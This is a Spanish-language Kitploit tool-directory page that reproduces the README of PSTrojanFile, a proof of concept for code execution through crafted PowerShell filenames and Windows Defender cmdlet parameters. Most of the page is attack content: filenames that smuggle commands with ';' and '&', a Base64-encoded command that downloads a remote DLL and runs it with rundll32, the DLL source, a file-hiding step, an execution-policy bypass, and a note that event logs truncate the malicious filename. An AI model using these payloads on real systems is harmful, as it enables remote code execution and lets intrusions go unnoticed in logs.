Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
PSTrojanFile — POC sin Parchear de Ejecución de Código mediante Nombre de Archivo en Windows PowerShell | Kitploit
Herramientas/GitHubGitHub/hyp3rlinx/pstrojanfile
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónEvasión de IDS/IPSScripting y AutomatizaciónCTFPruebas de PenetraciónPapers e InvestigaciónAprendizaje y Educación
GitHubhyp3rlinx/pstrojanfile

PSTrojanFile

POC sin Parchear de Ejecución de Código mediante Nombre de Archivo en Windows PowerShell

428hace 2 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio

PSTrojanFile

Windows PowerShell Nombre de Archivo y API Anti-Malware de Defender - POC de Ejecución de Código

Descubrimiento: John Page (alias hyp3rlinx) 2019 y revisado 2023

Actualizado 24 de diciembre de 2023

Evadiendo el obstáculo de las comillas simples en PowerShell para ejecución de código y, de regalo, ¡fallo en el registro de eventos de Windows!
El punto y coma y su amigo el operador "&" se unen para capacidades arbitrarias de ejecución de código.

Ejecute malware no deseado:
C:\Users\gg\Downloads>powershell get-filehash 'Infected&Malware;.zip' -algorithm md5

O

Escaneo Anti-Malware de Windows Defender:
powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected&Malware;.zip'

Donde Malware.exe vive en el mismo directorio, piense en una descarga no autorizada (drive-by download).

Fallo en el registro de eventos de Windows: el evento PS ID 403 no registra el nombre de archivo verdadero debido a la truncación:

Fragmento de registro de PS:

HostApplication=powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected
EngineVersion=5.1.19041.3803

¿Llamar al comando ping? ¿por qué no?
C:>powershell get-filehash 'powerfail&ping 8.8.8.8&.txt' -algorithm md5

Desconectar a la víctima:
C:>powershell Start-MpScan -Scanpath 'virus&logoff&test.zip'

Actualizado: 7 de diciembre de 2023: añadido vector de CL y API de Windows Defender, ver más abajo:

Como todavía funciona, lo desempolvé e hice pequeñas mejoras:

  1. Ejecutar una DLL remota usando rundll32
  2. Ejecutar un script PS1 secundario no previsto o un archivo de texto local (puede estar oculto)
  3. Actualizado el script Python3 Creador de Nombres de Archivo Troyano PS1

Lo reporté por primera vez a Microsoft en 2019 y sigue sin corregirse al momento de escribir esto.

Ejecución remota de código mediante un nombre de archivo especialmente manipulado.

El fallo se debe al punto y coma ";" podemos decodificar un comando Base64 y ejecutarlo directamente desde el nombre del archivo PS1 o simplemente ejecutar comandos.

Test;POweRsHeLL -e [BASE64 UTF-16LE PAYLOAD];.ps1

Llamar comandos directamente

"Testing;saps (gc -) PoC;.ps1"

Vectores: doble clic, arrastrar y soltar sobre el acceso directo de PS

Aprovecha comandos abreviados alternativos de PS como "saps", "gc", iniciar un proceso y get-content, etc.

Ejemplo de Ejecución de DLL:

Cree un archivo PS1 troyano que intente descargar y ejecutar una DLL remota llamada "1.d"

Python:

from base64 import b64encode

b64encode("saps http[]//127.0.0.1/1.d;sleep -s 2;rundll32 $HOME\Downloads\1.d, 0".encode('UTF-16LE'))

cwBhAHAAcwAgACAAaAB0AHQAcAA6AC8ALwAxADIANwAuADAALgAwAC4AMQAvADEALgBkADsAcwBsAGUAZQBwACAALQBzACAAMgA7AHIAdQBuAGQAbABsADMAMgAgACQASABPAE0ARQBcAEQAbwB3AG4AbABvAGEAZABzAFwAMQAuAGQALAAgADAA

Código DLL:

#include <windows.h>

//gcc -shared -o mydll.dll mydll.c -m32

//hyp3rlinx

void evilo(void){

MessageBox(0,"Filename Remote Code Execution PoC\r\nBy hyp3rlinx","M$ Windows PowerShell",1);

}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){

evilo();

return 0;

}

python -m http.server 80

Haga doble clic en el archivo troyano PS1.

Ejemplo de Ejecución de Código Mediante Archivo de Texto:

Cree un archivo PS1 cuyo nombre incluya saps "iniciar un proceso" y gc "get-content", esto leerá comandos desde un archivo oculto.

"Test;saps (gc -) PoC;.ps1"

Cree el oculto: attrib +s +h "-"

Haga doble clic o arrastre y suelte.

Requisitos:

a) Los archivos PowerShell PS1 deben estar configurados para abrirse con PowerShell como programa predeterminado

b) Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force

c) El usuario debe hacer doble clic, ejecutarlo desde la línea de comandos o arrastrar y soltar el script PS1 con nombre malicioso

https://www.youtube.com/watch?v=-ZJnA70Cf4I

https://github.com/hyp3rlinx/PSTrojanFile/assets/12366009/029d41d2-af58-434d-8d0f-0bf8f01d1c55

PSTrojanFile

Actualización: API Anti-Malware de Microsoft Defender en PowerShell - Ejecución Arbitraria de Código.

Microsoft Defender Anti-Malware y/o las API de PS pueden resultar en la ejecución de código arbitrario. Por ejemplo, escanear un directorio, un acceso directo .lnk o incluso un elemento inexistente, puede ejecutar código no previsto. Este vector se basa en mi aviso anterior y en el posterior proyecto PSTrojanFile.

Requisitos:

  1. En CL, el comando 'powershell' va prefijado o se pasa al llamar a PowerShell desde otro script
  2. Un archivo ejecutable con el mismo nombre que el parámetro y que se encuentre cerca

Ejemplos:
powershell Start-MpScan -Scanpath "C:\Users\gg\Downloads;saps Helper;.1.zip" (Helper.exe vive en el Escritorio)

Cree el directorio ";saps Test", Test.exe, Test.cmd, etc. está en la misma ruta de CL
powershell Add-MpPreference -ControlledFolderAccessAllowedApplications ";saps Test"

Cree un directorio con punto y coma y coloque un archivo PE llamado doom.exe en la misma ruta.
powershell Set-ProcessMitigation -PolicyFilePath "test;saps doom"

Por último, pero no menos importante: Al obtener un hash de archivo en PowerShell, te cierra la sesión :)
c:>powershell get-filehash -algorithm MD5 "Malware;saps logoff.exe"

https://www.youtube.com/watch?v=0Go6yJiRWP8

https://github.com/hyp3rlinx/PSTrojanFile/assets/12366009/b033b9f8-1ea0-4ea3-9fa3-56ea63db5b08

Descargar herramienta